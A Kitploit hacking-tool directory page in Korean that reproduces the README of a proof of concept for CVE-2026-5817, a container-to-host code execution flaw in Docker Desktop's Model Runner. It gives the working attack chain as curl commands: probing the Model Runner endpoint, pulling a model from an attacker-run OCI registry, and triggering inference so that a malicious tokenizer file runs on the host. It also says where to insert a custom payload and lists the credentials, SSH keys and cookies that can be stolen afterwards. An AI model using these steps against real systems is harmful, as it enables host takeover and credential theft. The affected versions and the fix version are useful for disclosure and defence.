Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5817-PoC — Docker Model Runner container-to-host RCE / Escape: Docker Model Runner의 MLX / SGLANG / VLLM 추론 백엔드에서 컨테이너-호스트 코드 실행을 허용하는 치명적인 취약점입니다. | Kitploit
도구/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
Container SecurityPayload GenerationVulnerability AnalysisExploitationSupply Chain SecurityContainer EscapeAI Security
GitHubgouldnicholas/cve-2026-5817-poc

CVE-2026-5817-PoC

Docker Model Runner container-to-host RCE / Escape: Docker Model Runner의 MLX / SGLANG / VLLM 추론 백엔드에서 컨테이너-호스트 코드 실행을 허용하는 치명적인 취약점입니다.

저장소 보기
295개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-5817: Docker Model Runner 컨테이너-호스트 RCE / 탈출

Docker Desktop(4.40.0~4.67.x) 호스트의 모든 컨테이너는 두 번의 HTTP 요청만으로 호스트에서 코드를 실행할 수 있습니다. 소켓 마운트도, --privileged도, 추가 capability도 필요 없습니다.

동작 방식

모든 컨테이너는 인증 없이 model-runner.docker.internal의 Model Runner에 도달할 수 있습니다. Model Runner는 사용자가 지정한 OCI 레지스트리에서 모델을 가져와 다이제스트를 검증하지 않은 채 저장합니다. Python 백엔드(vLLM, MLX, SGLang)는 trust_remote_code=True로 모델을 로드하며(MLX의 경우 구성 입력에서 trust remote code를 아예 인식하지 못합니다), 모델이 tokenizer_config.json에서 참조하는 모든 .py 파일을 임포트합니다. 그 .py 파일은 데스크톱 사용자 권한으로 실행됩니다.

공격 시나리오

시작 위치: 공격자는 호스트의 모든 컨테이너 내부에서 코드를 실행할 수 있습니다. 적대적 베이스 이미지, 개발 작업 공간의 악성 npm/pip 설치, 공격자가 제어하는 코드를 실행하는 CI 러너 등. Docker 소켓 마운트도, --privileged도, 추가 capability도 필요 없습니다.

  1. Model Runner 탐색.

    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200이면 Model Runner가 켜져 있고 이 컨테이너에서 접근 가능하다는 뜻입니다. 인증도 Origin 헤더도 필요 없습니다.

  2. 악성 OCI 레지스트리를 준비합니다. OCI 배포 스펙을 말하는 모든 HTTP 서버가 가능합니다. 레지스트리는 호스트에서 접근 가능해야 합니다(Model Runner는 컨테이너가 아닌 호스트에서 실행됩니다). 공개 인터넷에 호스팅하거나 로컬에서 실행하고 포트를 공개하면 됩니다(이 PoC의 docker-compose.yml은 후자를 사용합니다). 이 레지스트리는 최소한의 유효한 Llama 모델을 제공하며, 해당 모델의 tokenizer_config.json에는 evil_tokenizer.py를 가리키는 auto_map이 있습니다. evil_tokenizer.py는 호스트 페이로드입니다. rce_registry.py를 참조하세요.

  3. Model Runner가 사용자 레지스트리에서 풀하도록 만듭니다.

    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner는 매니페스트와 모든 blob을 다운로드하여 디스크 저장소에 기록합니다. 다이제스트를 다시 계산하거나 비교하지 않으며 서명 검사도 하지 않습니다. 악성 모델이 이제 설치되었습니다.

  4. 추론을 트리거하여 모델을 로드합니다.

    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

    Model Runner는 Python 백엔드(vLLM, MLX 또는 SGLang)를 선택하고 저장된 모델을 가리키는 --model <bundle_dir>로 실행합니다. 백엔드는 AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True)를 호출합니다. Transformers는 tokenizer_config.json을 읽고 auto_map을 확인한 다음 번들 디렉터리에서 evil_tokenizer.py를 임포트합니다. 모듈 수준 코드는 임포트 시점에 실행됩니다.

  5. 페이로드가 호스트에서 실행됩니다. Docker Desktop 사용자 권한으로, 어떤 컨테이너 밖에서, 사용자의 전체 파일시스템과 네트워크 접근 권한으로 실행됩니다. 추론 자체는 보통 실패하지만(모델이 실제로 실행되기엔 너무 작음), 문제없습니다. 임포트가 먼저 일어났기 때문입니다.

  6. 이를 통해 공격자가 얻는 것.

    • /var/run/docker.sock에 접근할 수 있습니다. 데몬 제어: 권한 있는 컨테이너 생성, 호스트 파일시스템을 그중 하나에 마운트, 다른 컨테이너에 exec 등.
    • ~/.docker/config.json에는 사용자가 로그인한 모든 레지스트리의 자격 증명이 있습니다. 공급망 전환: 악성 이미지를 업스트림으로 푸시.
    • SSH 키, 클라우드 자격 증명, 브라우저 쿠키, 소스 트리, 사용자가 읽을 수 있는 모든 것.
    • 데몬을 통해 호스트에서 실행 중인 다른 모든 컨테이너.

Payload Input

rce_registry.py:45-105 줄을 원하는 페이로드로 교체하세요.

요구 사항

  • Docker Desktop >= 4.40.0 및 < 4.68.0 (Model Runner는 4.40.0에서 포함되었고, 버그는 4.68.0에서 수정됨), Model Runner 활성화 필요
  • Python 백엔드 설치(vllm-metal, vLLM, MLX 또는 SGLang)
  • 호스트에 Python 3

실행

./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

증명 결과는 /tmp/poc_rce_proof에 남습니다.

파일

  • rce_registry.py - 가짜 OCI 레지스트리, 최소 Llama 모델과 evil_tokenizer.py를 제공
  • test_claims.py - 각 주장을 소스와 실행 중인 시스템에 대조 검증
  • run_poc.sh - 래퍼
  • docker-compose.yml - 레지스트리 + 권한 없는 공격자 컨테이너
  • Dockerfile.registry, Dockerfile.attacker - 이미지

관련 CVE

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
도구 다운로드